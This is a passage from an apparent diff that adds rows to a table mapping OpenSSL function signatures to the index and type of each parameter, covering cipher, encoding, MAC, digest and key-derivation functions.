EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | int | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | int | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | int | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | int | +| (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 1 | int | +| (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 2 | int | +| (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 3 | void * | +| (EVP_CIPHER_CTX *,unsigned char *) | | EVP_CIPHER_CTX_rand_key | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *) | | EVP_CIPHER_CTX_rand_key | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal_ex | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal_ex | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal_ex | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal_ex | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal_ex | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal_ex | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_OpenFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_OpenFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_OpenFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_SealFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_SealFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_SealFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 4 | int | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 4 | int | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 4 | int | +| (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_app_data | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_app_data | 1 | void * | +| (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_cipher_data | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_cipher_data | 1 | void * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 0 | EVP_CIPHER_INFO * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 1 | unsigned char * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 2 | long * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 3 | pem_password_cb * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 4 | void * | +| (EVP_ENCODE_CTX *) | | EVP_ENCODE_CTX_num | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *) | | EVP_ENCODE_CTX_copy | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *) | | EVP_ENCODE_CTX_copy | 1 | const EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_DecodeFinal | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_DecodeFinal | 1 | unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_DecodeFinal | 2 | int * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_EncodeFinal | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_EncodeFinal | 1 | unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_EncodeFinal | 2 | int * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 1 | unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 2 | int * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 3 | const unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 4 | int | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 1 | unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 2 | int * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 3 | const unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncodeUpdate | 4 | int | +| (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 1 | unsigned int | +| (EVP_KDF *) | | EVP_KDF_CTX_new | 0 | EVP_KDF * | +| (EVP_KDF_CTX *) | | EVP_KDF_CTX_kdf | 0 | EVP_KDF_CTX * | +| (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 0 | EVP_KEYMGMT * | +| (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | int | +| (EVP_KEYMGMT *,void *) | | evp_keymgmt_util_make_pkey | 0 | EVP_KEYMGMT * | +| (EVP_KEYMGMT *,void *) | | evp_keymgmt_util_make_pkey | 1 | void * | +| (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 0 | EVP_KEYMGMT * | +| (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 1 | void * | +| (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 2 | char * | +| (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 3 | size_t | +| (EVP_MAC *) | | EVP_MAC_CTX_new | 0 | EVP_MAC * | +| (EVP_MAC_CTX *) | | EVP_MAC_CTX_get0_mac | 0 | EVP_MAC_CTX * | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 0 | EVP_MAC_CTX ** | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 1 | const OSSL_PARAM[] | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 2 | const char * | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 3 | const char * | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 4 | const char * | +| (EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *) | | ossl_prov_macctx_load_from_params | 5 | OSSL_LIB_CTX * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 0 | EVP_MAC_CTX * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 1 | const OSSL_PARAM[] | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 2 | const char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 3 | const char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 4 | const char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 5 | const char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 6 | const unsigned char * | +| (EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t) | | ossl_prov_set_macctx | 7 | size_t | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_cleanup | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_cleanup | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_copy | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_copy | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_ctrl | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_ctrl | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_final | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_final | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_init | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_init | 1 | ..(*)(..) | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_update | 0 | EVP_MD * | +| (EVP_MD *,..(*)(..)) | | EVP_MD_meth_set_update | 1 | ..(*)(..) | +| (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 0 | EVP_MD * | +| (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | int | +| (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 0 | EVP_MD * | +| (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | int | +| (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 0 | EVP_MD * | +| (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | int | +| (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 0 | EVP_MD * | +| (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | unsigned long | +| (EVP_MD_CTX *) | | EVP_MD_CTX_get1_md | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *) | | EVP_MD_CTX_update_fn | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,..(*)(..)) | | EVP_MD_CTX_set_update_fn | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,..(*)(..)) | | EVP_MD_CTX_set_update_fn | 1 | ..(*)(..) | +| (EVP_MD_CTX *,BIO *,X509_ALGOR *) | | ossl_cms_DigestAlgorithm_find_ctx | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,BIO *,X509_ALGOR *) | | ossl_cms_DigestAlgorithm_find_ctx | 1 | BIO * | +| (EVP_MD_CTX *,BIO *,X509_ALGOR *) | | ossl_cms_DigestAlgorithm_find_ctx | 2 | X509_ALGOR * | +| (EVP_MD_CTX *,EVP_MD *) | | PEM_SignInit | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_MD *) | | PEM_SignInit | 1 | EVP_MD * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *) | | EVP_MD_CTX_set_pkey_ctx | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *) | | EVP_MD_CTX_set_pkey_ctx | 1 | EVP_PKEY_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 1 | EVP_PKEY_CTX ** | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 2 | const EVP_MD * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 3 | ENGINE * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestSignInit | 4 | EVP_PKEY * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 1 | EVP_PKEY_CTX ** | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 2 | const EVP_MD * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 3 | ENGINE * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *) | | EVP_DigestVerifyInit | 4 | EVP_PKEY * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 1 | EVP_PKEY_CTX ** | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 2 | const char * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 3 | OSSL_LIB_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 4 | const char * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 5 | EVP_PKEY * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestSignInit_ex | 6 | const OSSL_PARAM[] | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 1 | EVP_PKEY_CTX ** | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 2 | const char * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 3 | OSSL_LIB_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 4 | const char * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 5 | EVP_PKEY * | +| (EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[]) | | EVP_DigestVerifyInit_ex | 6 | const OSSL_PARAM[] | +| (EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *) | | ossl_rsa_pss_to_ctx | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *) | | ossl_rsa_pss_to_ctx | 1 | EVP_PKEY_CTX * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *) | | ossl_rsa_pss_to_ctx | 2 | const X509_ALGOR * | +| (EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *) | | ossl_rsa_pss_to_ctx | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,const EVP_MD *) | | EVP_DigestInit | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *) | | EVP_DigestInit | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,ENGINE *) | | EVP_DigestInit_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *,ENGINE *) | | EVP_DigestInit_ex | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,ENGINE *) | | EVP_DigestInit_ex | 2 | ENGINE * | +| (EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[]) | | EVP_DigestInit_ex2 | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[]) | | EVP_DigestInit_ex2 | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[]) | | EVP_DigestInit_ex2 | 2 | const OSSL_PARAM[] | +| (EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *) | | ossl_ml_dsa_matrix_expand_A | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *) | | ossl_ml_dsa_matrix_expand_A | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *) | | ossl_ml_dsa_matrix_expand_A | 2 | const uint8_t * | +| (EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *) | | ossl_ml_dsa_matrix_expand_A | 3 | MATRIX * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 1 | const EVP_MD * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | 